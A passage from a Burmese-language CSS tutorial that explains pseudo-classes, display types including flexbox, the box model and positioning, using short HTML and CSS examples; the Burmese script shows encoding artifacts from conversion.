dသးပါzူး။  dနာက်မှ  ဆက်dလ့လာရမှာပါ။  အခုeကည့်ချင်တဲ့  Pseudo-Class  (၃)  ခရုဲ့  အလုပ်လုပ်ပံုကို
စမ်းသပ်နိုင်o့ုိအတွက် ဒီလုိdရးစမ်းလ့ုိရပါတယ်။

 HTML 
<a href="#one">Link One</a>
<a href="#two">Link Two</a>

HTML Link နှစ်ခုထည့်ထားပါတယ်။ ဒီ Link dတွအတွက် CSS ကုဒ်ကို ဆက်လက်dလ့လာeကည့်ပါ။

 CSS 
a {
  color: blue;
}

a:hover {
  color: red;
}

a:active {
  color: green;
}

a:visited {
  color: brown;
}

ဒီကုဒ်အရ Link dတွအားလံုးဟာ စာလံုးအgပာdရာင် goစ်ရပါမယ်။ တစ်ကယ်dတာ့ နZိုကတည်းက gပာပြပီး
သားပါ။ တမင်သdzာသzာဝ ပုိdပါ်လွင်dအာင် ထပ်dပးလိုက်တာပါ။ a:hover မှာ အနီdရာင်လုိ့ dgပာ
လုိက်တဲ့အတွက်  Link dတွdပါ်မှာ  Pointer  goတ်သွားရင်  (သ့ုိမဟုတ်) Link dတွကို  Pointer  နဲ့ dထာက်
လုိက်ရင် အနီdရာင် dgပာင်းသွားမှာပါ။  a:active မှာ အစိမ်းdရာင်လ့ုိ သတ်မှတ်ထားတဲ့အတွက်  Link
dတွကို နှိပ်လုိက်ရင် နှိပ်လိုက်တဲ့အချနိ်dလးမှာ အစိမ်းdရာင်goစ်သွားမှာပါ။ a:visited မှာ brown လ့ုိ 
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dgပာထားတဲ့အတွက် တစ်ခါနှိပ်oူးတဲ့ လင့်dတွဟာ အgပာdရာင် မဟုတ်dတာ့zဲ နီညိုdရာင် goစ်သွားမှာပါ။
Codepen ထဲမှာ dရးပြပီး စမ်းeကည့်လို့ ရပါတယ်။

ဒါဟာ အသံုးများမယ့်  Pseudo-Class (၃)  မျ ို းရဲ့  သdzာသzာဝပါပဲ။  :hover တို့  :active တို့ကို
ကြကိုက်တဲ့  Element  dတွအတွက်  သတ်မှတ်dပးလ့ုိရပါတယ်။  Link  အပါအဝင် နှိပ်လ့ုိရတဲ့  ခလုပ်dတွမှာ
အများအားgoင့် သတ်မှတ်eကdလ့ ရိှပါတယ်။ :visited ကdတာ့ Link dတွအတွက်ပဲ သတ်မှတ်လို့ရတဲ့
Pseudo-Class ပါ။ ဆက်လက်dလ့လာသင့်တဲ့ Pseudo-Class (၃) ခုအdeကာင်းကို ထပ်dgပာပါမယ်။

:first-child,  :last-child နဲ့  :nth-child ဆိုတဲ့  Pseudo-class  dတွ  ဟာလည်း
dတာ်dတာ်dလး အသံုးဝင်တဲ့ လုပ်dဆာင်ချက်dတွ goစ်ပါတယ်။ Select လုပ်ထားတဲ့  Element dတွထဲက
ထိပ်ဆုံးတစ်ခုပဲ လုိချင်တယ်၊ dနာက်ဆုံးတစ်ခုပဲ လုိချင်တယ်၊ တစ်ခုdကျာ်လုိချင်တယ်၊ နှစ်ခုdကျာ်လုိချင်
တယ်၊ စသgoင့် dရးွချယ်o့ုိအတွက် အသံုးgပုရပါတယ်။ ဥပမာ - 

 HTML 
<ul>
  <li>Item One</li>
  <li>Item Two</li>
  <li>Item Three</li>
  <li>Item Four</li>
  <li>Item Five</li>
</ul>

zာမှအဆန်းအgပားမဟုတ်ပါzူး၊  Item  တစ်ချ ို ့ပါဝင်တဲ့  List  တစ်ခုgoစ်ပါတယ်။  သ့ူအတွက်  CSS  ကို
dလ့လာeကည့်ပါ။

 CSS 
ul li:first-child {
  font-weight: bold;
}

ul li:last-child {
  font-style: italic;
}
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ul li:nth-child(3) {
  color: red;
}

ul li:nth-child(2n) {
  background: cyan;
}

:first-child ကို သံုးပြပီး ပထမဆုံး <li> ရဲ့စာလံုးကို Bold လုပ်ထားပါတယ်။ :last-child ကို
သံုးပြပီး dနာက်ဆုံး <li> ကို စာလံုးdစာင်း Italic လုပ်ထားပါတယ်။ :nth-child(3) လ့ုိdgပာထားတဲ့
အတွက်  သံုးခုdgမာက်  <li> ရဲ့စာလံုးအdရာင်  အနီdရာင်goစ်dနမှာပါ။  တစ်ကြကိမ်ပဲ  အသက်ဝင်မှာပါ။
:nth-child(2n) လ့ုိdgပာထားတဲ့အတွက် နှစ်ခုdgမာက် <li> တိုင်းမှာ dနာက်ခအံdရာင် ပါဝင်သွား
မှာ  goစ်ပါတယ်။  (၂)  ခုdကျာ်  ရှိသမျှအကုန်လုံးမှာ  အသက်ဝင်မှာပါ။  ဒါမျ ို းdတွdeကာင့်  dတာd်တာ်
အသံုးဝင်တဲ့ Pseudo-Class dတွလ့ုိ dgပာတာပါ။ ရလဒ်ကဒီလုိgoစ်မှာပါ – 

ဒီdလာက်ဆုံးရင် အdgခခံဆင့်အdနနဲ့ dလ့လာသင့်တဲ့  Selector dတွ  Pseudo-Class dတွ စုံသွားပါပြပီ။ ဒီ
အdgခခံdတွနဲ့ အသားကျပိုင်နိုင်ပြပီဆိုမှ ကျန်တဲ့  Pseudo-Class  dတွ  Pseudo-Element  dတွကို dလ့လာ
ပါ။ အထူးသgoင့် အသံုးဝင်နိုင်တာdတွက :empty, :not နဲ့ :target ဆိုတဲ့ Pseudo-Class dတွ နဲ့
အတူ  ::before, ::after နဲ့  ::placeholder ဆိုတဲ့  Pseudo-Element  dတွgoစ်ပါတယ်။
:focus, :checked, :readonly, :enabled, :disabled, :valid, :invalid
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စသgoင့်  Input  dတွနဲ့  တဲွသုံးရတဲ့  Pseudo-class  dတွလည်း  ရိှပါdသးတယ်။  အမည်dတွdလာက်ပဲ
မှတ်ထားပြပီး dနာက်လုိအပ်လာdတာ့မှ ဆက်လက်dလ့လာသွားလုိက်ပါ။

CSS Display
Element dတွမှာ မတူကွဲgပားတဲ့  Display Type အမျ ို းမျ ို းရှိပြပီး၊ အ့ဲဒီ Display Type ကို CSS နဲ့ စီမံလ့ုိရပါ
တယ်။ အdgခခံအကျဆုံးနဲ့ အdရးကြကီးဆုံး Display Type (၂) မျ ို းရှိပါတယ်။ block နဲ့  inline တို့ goစ်
eကပါတယ်။ တစ်ချ ို ့  Element  dတွဟာ  block Element  dတွgoစ်ပြပီး  တစ်ချ ို ့  Element  dတကွdတာ့
inline Element  dတွgoစ်eကပါတယ်။ ဒီသdzာသzာဝကို  gမင်o့ုိ  လက်dတွ့dရးစမ်းeကည့်မှ  ပုိgမင်ပါ
လိမ့်မယ်။ ဒါdeကာင့် နမူနာdတွ gပပါမယ်။ တစ်ခါထဲ လုိက်dရးeကည့်o့ုိ တိုက်တွန်းလုိပါတယ်။

နမူနာကိုdလ့လာeကည့်ပါ။  <div> Element  နှစ်ခုနဲ့  <span> Element  နှစ်ခုရှိပါတယ်။  <div> ဟာ
block Element  goစ်ပြပီး  <span> ကdတာ့  inline Element  ပါ။  CSS  မှာ  div, span နှစ်ခုလံုး
အတွက် တူညီတဲ့  Property dတွကို သတ်မှတ်ထားdပမယ့် တစ်oက်က doာ်gပပံုမှာeကည့်လုိက်ပါ၊ doာ်gပ
ပံုမတူeကပါzူး။ Display Type မတူeကလ့ုိပါ။

<div> Element  dတွက  dနရာရှိသdလာက်  အgပည့်dနရာယူdoာ်gပထားတာကို  dတွ့ရမှာgoစ်ပြပီး
<span> Element  dတကွdတာ့  သူ့  Content  ရိှသdလာက်dလးပဲ  dနရာယူထားပါတယ်။  dနာက်ထပ်
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သတိgပုရမှာက <div> dတဟွာ အdပါ်dအာက် အစီအစဉ်နဲ့doာ်gပပြပီး <span> dတကွdတာ့ dzးချင်း
ကပ် အစီအစဉ်နဲ့ doာ်gပပါတယ်။ <div> မ့ုိလ့ုိ ဒီလုိdoာ်gပတာ <span> မ့ုိလ့ုိ ဒီလုိdoာ်gပတာ မဟုတ်ပါ
zူး။ Display Type deကာင့် block ကို တစ်မျ ို းdoာ်gပပြပီး inline ကို တစ်မျ ို းdoာ်gပdနတာပါ။

<div> ကဲ့သ့ုိdသာ တgခား Block Element dတရွှိပါတယ်။ ဥပမာ - <h1> … <h6>, <p>, <ul>,
<ol> စတဲ့  Element  dတဟွာ  block အမျ ို းအစား  Element  dတွပါ။  <label>, <a>, <b>,
<em> စတဲ့  Element dတကွdတာ့  inline အမျ ို းအစား  Element dတွပါ။  Block အားလံုးဟာ နမူနာ
မှာ gပထားတဲ့ <div> နဲ့ တူညီတဲ့လက္ခဏနောရှိပြပီး၊ Inline အားလံုးကdတာ့ နမူနာမှာgပထားတဲ့ <span> နဲ့
တူညီတဲ့ လက္ခဏနောရှိပါတယ်။ နမူနာကို နည်းနည်း ထပ်gပင်eကည့်ပါမယ်။

ဒီတစ်ခါ width နဲ့  height ဆိုတဲ့  Property နှစ်ခုထပ်တိုးလုိက်တာပါ။ ဒီလုိ အရွယ်အစားသတ်မှတ်တဲ့
Property  dတွဟာ  Block  goစ်တဲ့  <div> မှာသက်ဝင်အလုပ်လုပ်dပမယ့်  Inline  goစ်တဲ့  <span> မှာ
သက်ဝင်gခင်းမရှိzူးဆိုတာကို  သတိgပုရမှာပါ။  Inline Element  dတွကို  အရွယ်အစားသတ်မှတ်လ့ုိ မရပါ
zူး။ အ့ဲဒါကို မသိရင် dရးထားတဲ့  Property dတွက အလုပ်လည်း မလုပ်zူးဆိုပြပီးdတာ့ စိတ်ညစ်သွားနိုင်
ပါတယ်။  စိတ်ညစ်စရာမလုိပါzူး၊  သzာဝအရ  Inline  dတွကို  အရွယ်အစား  သတ်မှတ်လ့ုိ  မရတာပါ။
dနာက်ထပ်ထူးgခားချက်အdနနဲ့ Block dတွ အdပါ်dအာက် အစီအစဉ်အတိုင်း gပတယ်ဆိုတာကို ထပ်dgပာ
ချင်ပါတယ်။ အရွယ်အစားသတ်မှတ်လုိက်လ့ုိ dနရာလွတ်dတွ dzးမှာပုိထွက်လာdပမယ့် dzးမှာကပ်ပြပီး
မgပzဲ dအာက်zက်မှာပဲ gပတာကို သတိgပုပါ။
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Display Type ကို dgပာင်းလ့ုိရပါတယ်။ display လ့ုိdခါ်တဲ့ CSS Property ကိုသံုးရပါတယ်။ ဒီလိုပါ။

နမူနာမှာ  span dတွကို  display: block လ့ုိdgပာလုိက်ပါပြပီ။ ဒါdeကာင့် မူလက  Inline  goစ်dနတဲ့
<span> Element  dတွဟာ  အခုdတာ့  Block  goစ်သွားပြပီမ့ုိလ့ုိ  အားသာချက်အdနနဲ့  အရွယ်အစား
သတ်မှတ်လ့ုိရသွားသလုိ အားနည်းချက်အdနနဲ့  dzးချင်းကပ်gပလ့ုိမရdတာ့zဲ အdပါ်dအာက်ဆင့်ပြပီး  gပ
သွားတာကို dတွ့ ရမှာပဲ goစ်ပါတယ်။ ဒီသdzာသzာဝဟာ CSS အdgခခံdတွထဲမှာ အdရးအကြကီးဆုံးတစ်
ခု အပါအဝင်goစ်ပါတယ်။ display Property အတွက် အသံုးများမယ့် Value (၄) ခရုှိပါတယ်။

• inline
• block
• none
• flex

inline နဲ့ block ကdတာ့ ရှင်းပါတယ်။ Element ရဲ့ Display Type ကို လုိချင်သလုိ dgပာင်းလိုက်တာ
ပါ။  ဟုတ်ပါတယ်၊  Block  dတွကိုလည်း  လုိအပ်ရင်  Inline  dgပာင်းလုိ့ရပါတယ်။  လုိdတာ့လိုခဲပါတယ်။
none ကdတာ့  doျာက်ထားလုိက်တာပါ။  Element  ကို  doျာက်ထားချင်ရင်  display: none လ့ုိ
သတ်မှတ်dပးလုိက်တာ ထံုးစံပါပဲ။ flex ကdတာ့ dနာက်မှdပါ်တဲ့ Display Type ပါ။ Layout dတွလုပ်o့ုိ
အသံုးဝင်ပါတယ်။ dzးချင်းကပ်မgပတဲ့ Block dတဟွာ flex အတွင်းမှာဆိုရင် gပeကပါတယ်။ ဒီလုိပါ –
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ပင်မ <div> မှာ class ကို wrap လ့ုိdပးထားပြပီး display: flex Property ကိုသုံးထားတာ dတွ့
ရနိုင်ပါတယ်။ ဒါdeကာင့် သူ့အတွင်းထဲက  <div> dတဟွာ  Block  dတွဆိုdပမယ့် dzးချင်းကပ်စီပြပီး gပ
သွားdပးတာကို  dတွ့ရမှာပဲ  goစ်ပါတယ်။ အ့ဲဒီမှာ  flex-grow ဆိုတဲ့  Property  ကိုလည်း သတိgပုပါ။
အတွင်း  Element  dတွမှာ  width နဲ့ အကျယ်သတ်မှတ်မထားပါzူး။ သတ်မှတ်ချင်ရင်သတ်မှတ်လ့ုိ ရပါ
တယ်။ နမူနာမှာdတာ့ width အစား flex-grow: 1 လ့ုိ dgပာထားပါတယ်။ (၁) dနရာစာယူမယ်လ့ုိ
dgပာလုိက်တာပါ။ ပြပီးdတာ့မှာ :first-child နဲ့ ပထမဆုံးတစ်ခုကို flex-grow: 2 လ့ုိ dgပာထား
တဲ့အတွက် သူက (၂) dနရာစာ ယူပြပီးdတာ့ doာ်gပdနတာကိုလည်း သတိgပုeကည့်ပါ။ တန်oိုးdတွကို ကိုယ့်
စိတတ်ိုင်းကျ dgပာင်းပြပီးdတာ့ စမ်းeကည့်နိုင်ပါတယ်။

Flexbox  လ့ုိdခါ်တဲ့  ဒီသdzာသzာဝဟာ ကျယ်gပန့်သလို  အသံုးလည်း  ဝင်ပါတယ်။  Element  dတွကို
dzးချင်းတိုက်  gပdစချင်တာလား၊ အdပါ်dအာက်gပdစချင်တာလား၊ မဆန့်dတာရ့င် zာလုပ်ရမှာလည်း၊
ဆန့်dအာင် ချုံ့gပdပးရမှာလား၊ dနာက်တစ်လုိင်း ဆင်းgပdပးရမှာလား၊ အနိမ့်အgမင့် မညီရင် အdပါ်zက်
ကို အညီယူdပးရမှာလား၊ အလယ်ကိုအညီယူdပးရမှာလား၊ စသgoင့် သတ်မှတ်လို့ရတဲ့ Flexbox Property
dတွ  အများကြကီးရှိdနပါတယ်။  ဒီdနရာမှာ  အ့ဲဒီdလာက်ထိ  ကျယ်ကျယ်gပန့်gပန်မသွားdသးzဲ၊  အdgခခံ
သdzာgoစ်တဲ့ display: flex သတ်မှတ်dပးလုိက်ရင် သ့ူအထဲက Block Element dတွကို dzးချင်း
ကပ် အစီအစဉ်နဲ့gပdပးတယ်ဆိုတဲ့ အချက်dလာက်ကိုပဲ မှတ်ထားdပးပါ။ 
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display Property  မှာတgခား  Value  dတွ  ရိှပါdသးတယ်။  inline-block,  list-item,
table, table-cell, inline-flex, grid, inline-grid စသgoင့်ရှိတာdတာ့ အများ
ကြကီးပါပဲ။  လုိအပ်လာတဲ့အချနိ်မှာ  ဆက်လက်dလ့လာသွားရမှာgoစ်ပါတယ်။  နည်းပညာdလ့လာတာ
ကdတာ့ ဒီလုိပဲ တစ်ဆင့်ချင်းသွားမှပဲ ရပါမယ်။ တစ်ခါထဲ အကုန်သိချင်လ့ုိdတာ့ မလွယ်ပါzူး။ အdရးကြကီး
ပြပီး အသံုးများတာdတွ အရင်eကည့်ပြပီး အသံုးနည်းတာdတွကို လုိအပ်လာမှ gပန်eကည့်ရတဲ့သdzာပါပဲ။ 

CSS Box Model
ပြပီးခဲ့တဲ့ နမူနာdတွမှာ margin တို့  padding တို့လ့ုိ  Property dတွကိုထည့်သံုးgပခဲ့dပမယ့် ရှင်းမgပခဲ့ပါ
zူး။  သပ်သပ်ရှင်းရမှာ  မ့ုိလ့ုိပါ။  ဒါdတွကလည်း  အdရးကြကီးပါတယ်။  CSS  မှာ  Box  Model  လ့ုိdခါ်တဲ့
သdzာသzာဝ ရှိပါတယ်။  Element  dတရွဲ့ အရွယ်အစားdပါ်မှာ သက်dရာက်dစတဲ့  Property  dတွပါ။
(၅) ခုရှိပါတယ်။

• width
• height
• margin
• padding
• border

ဒီ (၅) ခုမှာ width နဲ့  height ကdတာ့ ရှင်းပါတယ်။ Element ရဲ့လုိချင်တဲ့အရွယ်အစားရo့ုိအတွက် ဒီ
Property dတွနဲ့  သတ်မှတ်ရတာပါ။ margin Property ကdတာ့ တgခား Element dတွနဲ့  zယ်dလာက်
ခွာgပရမလဲဆိုတဲ့  အကွာအdဝး  သတ်မှတ်o့ုိအတွက်  သံုးရပါတယ်။  padding Property  ကdတာ့
Element  ရဲ့dzာင်နဲ့  Element  ထဲမှာရှတိဲ့အရာdတွ  zယ်dလာက်  ခွာgပရမလဲဆိုတဲ့  အကွာအdဝးကို
သတ်မှတ်o့ုိအတွက် သံုးရတာပါ။ border ကdတာ့ Element dတွမှာ dzာင်ခတ်oို့အတွက် အသံုးgပုရပါ
တယ်။ ဒီနမူနာကို dလ့လာeကည့်ပါ။
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width:400px နဲ့  height:400px သတ်မှတ်ထားတဲ့  Element  အတွင်းထဲမှာ  width:400px နဲ့
height:200px သတ်မှတ်ထားတဲ့  Element (၂)  ခုရှိdနတာပါ။  သူဟာနဲ့သူ  အရွယ်အစားကိုက်ညီလ့ုိ
ကွက်တိပါပဲ။  အ့ဲဒီလုိ  ကွက်တိgoစ်dနတဲ့  Element  dတွမှာ  တစ်ခုနဲ့တစ်ခုလည်း  ခွာပြပီးdတာ့  gပdစချင်
တယ်။  အထဲမှာရှိတဲ့  စာနဲ့  Element  dzာင်နဲ့လည်း  ကပ်dနလ့ုိ  ကွာသွားdစချင်တယ်။  ဒါdeကာင့်
margin နဲ့ padding Property dတွ သတ်မှတ်လိုက်တဲ့အခါ ဒီလုိgoစ်သွားမှာပါ။
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သတ်မှတ်ချက်အရ Element တစ်ခုနဲ့တစ်ခု ကွာသွားပါပြပီ။ အထဲကစာနဲ့ dzာင်နဲ့လည်း ကွာသွားပါပြပီ။ ဒါ
dပမယ့်  doာ်gပပံုအဆင်မdgပdတာ့ပါzူး။  အဆင်မdgပရတဲ့အdeကာင်းရင်းကdတာ့  Element  ရဲ့
အရွယ်အစား မူလထက် ပုိကြကီးသွားလ့ုိပါ။ width dတွ height dတွ မdgပာင်းzဲနဲ့ မူလထက်ပုိကြကီးသွား
ရgခင်း  အdeကာင်းရင်းကdတာ့  သတ်မှတ်လုိက်တဲ့  margin dတွ  padding dတွကို  Element  ရဲ့
အရွယ်အစားမှာ  dပါင်းထည့်သွားလုိ့ပါ။  width က  400 ဆိုdပမယ့်  padding:  20px deကာင့်
zယ်ညာ တစ်zက်ကို  20 စီထပ်တိုးသွားမှာပါ။ margin: 10px deကာင့် zယ်ညာ တစ်zက်ကို  10
စီထပ်တိုးသွားမှာပါ။  ဒါdeကာင့်  width မှာ  400 လ့ုိdgပာထားdပမယ့်  တစ်ကယ့်  Element  ရဲ့
အရွယ်အစားက  460 goစ်သွားပါdတာ့တယ်။  height လည်းအတူတူပါပဲ။  200 လ့ုိသတ်မှတ်ထားdပ
မယ့် တစ်ကယ့်အရွယ်အစားက 260 goစ်သွားပါပြပီ။

ဒါdeကာင့် ပင်မ Element ထဲမှာ မဆန့်dတာတ့ဲ့အတွက် အခုလုိ dကျာ်ထွက်၊ လျှထွံက်ပြပီး အဆင်မdgပgoစ်
သွားရတာပါ။  ဒီသdzာသzာဝကိုနားလည်oို့  အdရးကြကီးပါတယ်။  နားမလည်ရင်  margin dလး
သတ်မှတ်လုိက်တာနဲ့  အကုန်လံုးပျက်ကုန်တယ်ဆိုပြပီး  စိတ်ညစ်ရပါလိမ့်မယ်။  စိတ်ညစ်စရာမလုိပါzူး။
အရွယ်အစား dgပာင်းသွားလ့ုိ gပန်ညှိdပးလုိက်ရင် ရပါတယ်။ ဒီလုိပါ။

အခုdတာ့ ကွက်တိgoစ်သွားပါပြပီ။ width ကို 340 လ့ုိdလျှာ့ပြပီး သတ်မှတ်လိုက်တဲ့အတွက် ထပ်တိုးလာတဲ့
margin, padding dတွနဲ့  dပါင်းလိုက်တဲ့အခါ 400 goစ်သွားလ့ုိ အခုလုိကွက်တိအဆင်dgပသွားgခင်းပဲ
goစ်ပါတယ်။
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Border လည်းအတူတူပါပဲ။ Border သတ်မှတ်လုိက်တာနဲ့ မူလအရွယ်အစားမှာ ထပ်တိုးသွားမှာပါ။ နမူနာ
မှာ ပင်မ Element မှာ Border ထည့်gပထားပါတယ်။

 CSS 
border: 5px solid red;

dရှ့ ဆုံးက  5px က  Border  ရဲ့  အရွယ်အစားgoစ်ပြပီး၊  solid ကdတာ့  Border  Style  goစ်ပါတယ်။
သတ်မှတ်လ့ုိရတဲ့  Style  အမျ ို းမျ ို း  ရှိdပမယ့်  solid, dotted နဲ့  dashed (၃)  မျ ို းကို  အသံုးများပါ
တယ်။ ကိုယ့်zာသာ dgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။ solid ကdတာ့ လုိင်းအgပည့် dzာင်ခတ်တာပါ။
dotted ကdတာ့  အစက်dလးdတွနဲ့  dzာင်ခတ်တာပါ။  dashed ကdတာ့  လုိင်းgပတ်dလးdတွနဲ့
dzာင်ခတ်တာပါ။ dနာက်ဆုံးက red ကdတာ့ Border ရဲ့ အdရာင်goစ်ပါတယ်။ နှစ်သက်ရာအdရာင် dပး
လ့ုိရပါတယ်။ စမ်းရလွယ်တဲ့  red, green, blue, purple, brown, black စတဲအ့dရာင်
dတွနဲ့ ပဲ စမ်းeကည့်လုိက်ပါ။ ခဏနေdနမှ အdရာင်dတွ အdeကာင်း ထပ်dgပာdပးပါမယ်။

အတွင်းထဲက  Element  dတွမှာလည်း  Border  dပးeကည့်ပါ။  margin,  padding တို့လုိပဲ  မူလ
အရွယ်အစားမှာ  ထပ်တိုးသွားတာကို  dတွ့ရပါလိမ့်မယ်။  width, height ကို  gပန်ညိှdပးလုိက်ရင်
အဆင်dgပသွားပါလိမ့်မယ်။

margin dတွ padding dတွ border dတွကို အခုလုိ တစ်zက်ချင်း dပးလ့ုိရပါတယ်။

 CSS 
margin-top: 10px;
margin-right: 10px;
padding-left: 10px;
border-bottom: 5px solid red;

px အစား သုံးလ့ုိရနိုင်တဲ့ တgခား Unit အdeကာင်းကို ခဏနေdနdတာ့ dgပာgပပါမယ်။ dလာdလာဆယ် စမ်း
ချင်ရင် px နဲ့ပဲdရှ့ကတန်oုိးကို dgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။ margin, padding dတွ dရးနည်း
dနာက်ထပ် (၂) နည်း မှတ်သင့်ပါdသးတယ်။



PWD 2022 – အခန်း (၂) - CSS 69

 CSS 
padding: 10px 20px;
margin: 10px 20px 5px 30px;

နမူနာမှာ  padding အတွက်  Value  နှစ်ခုကိုdပးထားပါတယ်။  dရှ့ က  10px က  top  နဲ့ bottom
အတွက်ပါ။ dနာက်က 20px ကdတာ့  left နဲ့  right အတွက်goစ်ပါတယ်။ ဒီနည်းနဲ့ တစ်deကာင်းထဲ
dရးပြပီး  အdပါ်dအာက်၊  dရှ့dနာက် မတူdအာင် dပးလ့ုိရတာပါ။  margin အတွက်dတာ့  Value  dလးခု
dပးထားပါတယ်။ top, right, bottom, left ဆိုတဲ့ သdzာပါ။ ဒီနည်းနဲ့ တစ်deကာင်းထdဲရး
ပြပီး  မျက်နှာစာdလးzက်လံုး  Value  တစ်ခုစီ  dပးလ့ုိရgခင်းgoစ်ပါတယ်။  margin-left နဲ့  margin-
right အတွက်  auto ဆိုတဲ့  Value  လည်းရှိပါdသးတယ်။  zယ်zက်ကdနရာလွတ်နဲ့  ညာzက်က
dနရာလွတ်ကို နှစ်zက်ညီdအာင် ယူdပးသွားမှာပါ။ ဒါdeကာင့်  Element  ကို အလယ်မှာ doာ်gပdစလုိရင်
auto လ့ုိ margin ကို သတ်မှတ်dပးeကdလ့ ရှိပါတယ်။ ဒါdပမယ့် သတိgပုပါ၊  auto ဆိုတဲ့  Value ဟာ
top နဲ့ bottom အတွက် အလုပ်မလုပ်ပါzူး။ ဒီလုိကုဒ်မျ ို းကို မeကာခဏနေdတွ့ရနိုင်ပါတယ်။

 CSS 
margin: 20px auto;

margin-top နဲ့  margin-bottom ကို  20px လ့ုိသတ်မှတ်ပြပီး  margin-left နဲ့  margin-
right ကို auto လ့ုိ သတ်မှတ်dပးလုိက်တာပါ။

dနာက်ဆုံးတစ်ခုထပ်မှတ်ပါ။  box-sizing လ့ုိdခါ်တဲ့  Property  ပါ။  dနာက်မှ  ထပ်တိုးလာတဲ့
dတာ်dတာ်အသုံးဝင်တဲ့  Property goစ်ပါတယ်။ Element မှာ box-sizing ကို  bordered-box လ့ုိ
dပးလုိက်ရင်  အခုတက်dနတဲ့  gပဿနာdတွ dတာ်dတာ်များများ  dgပလည်သွားပါတယ်။ zာgoစ်လ့ုိလဲဆို
dတာ့  padding dတွ  border dတွ  dပးလုိက်လ့ုိ  လုိအပ်လာတဲ့dနရာကို  ထပ်တိုးမယူzဲ၊  မူလ
width, height ထဲကdန o့ဲယူသွားမှာ goစ်လ့ုိ padding ထည့်လိုက်တာ Size dgပာင်းသွားတယ်ဆို
တာမျ ို း goစ်စရာမလုိdတာ့ပါzူး။
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နမူနာကိုdလ့လာeကည့်ပါ။  box-sizing dပးထားတဲ့အတွက်  Element  ရဲ့  width, height ကို
ကိုယ်dပးချင်တဲ့အတိုင်း  400, 200 လ့ုိdပးထားပါတယ်။  padding dတွ  border dတွပါdပမယ့်
လည်း gပန်ညိှစရာ မလုိdတာ့ပါzူး။ margin dပးချင်ရင်dတာ့ မရပါzူး။ margin အတွက် gပန်ညိှdပးရ
မှာပါ။

CSS Position
CSS  ကိုအသံုးgပုပြပီး  Element  dတွdoာ်gပရမယ့်  တည်dနရာကို  ကိုယ့်စိတ်တိုင်းကျ  အတိအကျလည်း
သတ်မှတ်dပးလ့ုိရပါတယ်။ ဒီနည်းက ဝz်ဆိုက် Layout dတzွာdတွ လုပ်တဲ့dနရာမှာ သိပ်အသံုးမဝင်dပ
မယ့်  UI Component  dတွအတွက်dတာ့ dတာ်dတာ်အသံုးဝင်ပါတယ်။  Layout  အတွက် သိပ်အသံုးမဝင်
zူးဆိုတာက၊  စဉ်းစားeကည့်ပါ။  Layout  မှာပါတဲ့  Element  dတွကိုသာ  တစ်ခုချင်း  စိတ်တိုင်းကျ
အတိအကျ  dနရာသတ်မှတ်ထားမယ်ဆိုရင်၊  gပင်ချင်တဲ့အခါ  zယ်လိုလုပ်မလဲ။  အကုန်လံုးကို  လုိက်gပင်
ရdတာ့မှာပါ။ လက်dတွ့မကျပါzူ။ ဒါကိုတမင်ကြကိုdgပာတာပါ။  CSS Position Property  အdeကာင်း သိ
သွားရင် အရမ်းသdzာကျသွားပြပီး dနရာတိုင်းမှာ သံုးချင်စိတ် dပါ်လာတတ်ပါတယ်။ dနရာတိုင်း သံုးလ့ုိ
dတာ့ အဆင်dgပမှာမဟုတ်zူး၊ သ့ူသင့်dတာ်ရာdနရာမှာသာ အသံုးgပုရမှာgoစ်တယ် ဆိုတဲ့သdzာပါ။ နမူ
နာကိုeကည့်ပါ။
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<div> Element  နှစ်ခုရှိပြပီး နှစ်ခုလံုးအတွက် ဆင်တူတဲ့  Property  dတွသတ်မှတ်ထားပါတယ်။ ထူးgခား
ချက် အdနနဲ့နှစ်ခုလံုးမှာ position: absolute သတ်မှတ်ချက်ပါဝင်gခင်း goစ်ပါတယ်။ ဒါdeကာင့် ဒီ
Element  dတရွဲ့ တည်dနရာကို အတိအကျသတ်မှတ်လ့ုိရသွားပါပြပီ။ နမူနာမှာ  top နဲ့  left Property
dတွကိုသံုးပြပီး dနရာမတိမ်းမယိမ်း သတ်မှတ်ထားလ့ုိ တစ်ခုdပါ်တစ်ခု ထပ်ပြပီး doာ်gပdနတာကို dတွ့ရမှာ
goစ်ပါတယ်။ အ့ဲဒီတန်oုိးdတွကို dgပာင်းပြပီးစမ်းeကည့်လ့ုိရပါတယ်။

position မှာ fixed လ့ုိdခါ်တဲ့ Value လည်း ရိှပါdသးတယ်။ absolute နဲ့ အdgခခံအားgoင့် တူပြပီး
Scroll  Behavior  မှာ  ကွာသွားပါတယ်။  absolute က  Scroll  ဆွဲလုိက်ရင်  Scroll  နဲ့အတူပါသွားပြပီး
fixed ကdတာ့  Scroll နဲ့မပါzဲ  သတ်မှတ်ထားတဲ့  dနရာမှာ  အပြမဲတည်ရှိdနမှာပါ။  zာကိုdgပာတာလဲ
မျက်စိထဲမှာ မgမင်ရင် CSS ကုဒ်ထဲမှာ ဒီလုိgoည့်ပြပီး စမ်းeကည့်ပါ။

 CSS 
body {
  height: 2000px;
}

.box1 {
  position: fixed;
  … 
}
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Body Height ကို 2000 dပးလုိက်လ့ုိ Scroll Bar dပါ်လာပါလိမ့်မယ်။ .box1 ရဲ့ position ကိုdတာ့
absolute မဟုတ်dတာz့ဲ fixed လ့ုိdgပာင်းdပးထားပါတယ်။ ဒါdeကာင့် Box နှစ်ခု Scroll Behavior
မတူdတာ့ပါzူး။ စမ်းdရးပြပီး Scroll ဆွဲeကည့်ပါ၊ zာကွာလဲဆိုတာကို ကိုယ်တိုင် dတွ့ gမင်ရပါလိမ့်မယ်။

position မှာ  relative ဆိုတဲ့  Value  တစ်ခုလည်းရှိပါdသးတယ်။ သ့ူရဲ့သdzာသzာဝက နည်း
နည်း ထူးgခားပါတယ်။ နမူနာကိုeကည့်ပါ။

နမူနာမှာ .box2 ကို .box1 ထဲမှာ ထည့်ထားပါတယ်။ .box1 အတွက် Style dတွကိုdလ့လာeကည့်ရင်
margin ကိုသံုးပြပီးအလယ်ပ့ုိထားတာ dတွ့ရနိုင်ပါတယ်။ ပြပီးdတာ့ position: relative လ့ုိလည်း
dပးထားပါတယ်။ ဒီလိုdပးထားတဲ့အတွက် သ့ူအထဲမှာရှိတဲ့  .box2  ရဲ့  Position  ကိုတွက်တဲ့ထဲမှာသူနဲ့
Relative  ယူပြပီးတွက်dပးသွားမှာပဲgoစ်ပါတယ်။ ဒီ  position: relative သာမပါခဲ့ရင်  .box2 ရဲ့
top နဲ့  left ကို  50px လ့ုိသတ်မှတ်ထားလ့ုိ Document Border ကdန 50px စီခွာgပသွားမှာပါ။ အခု
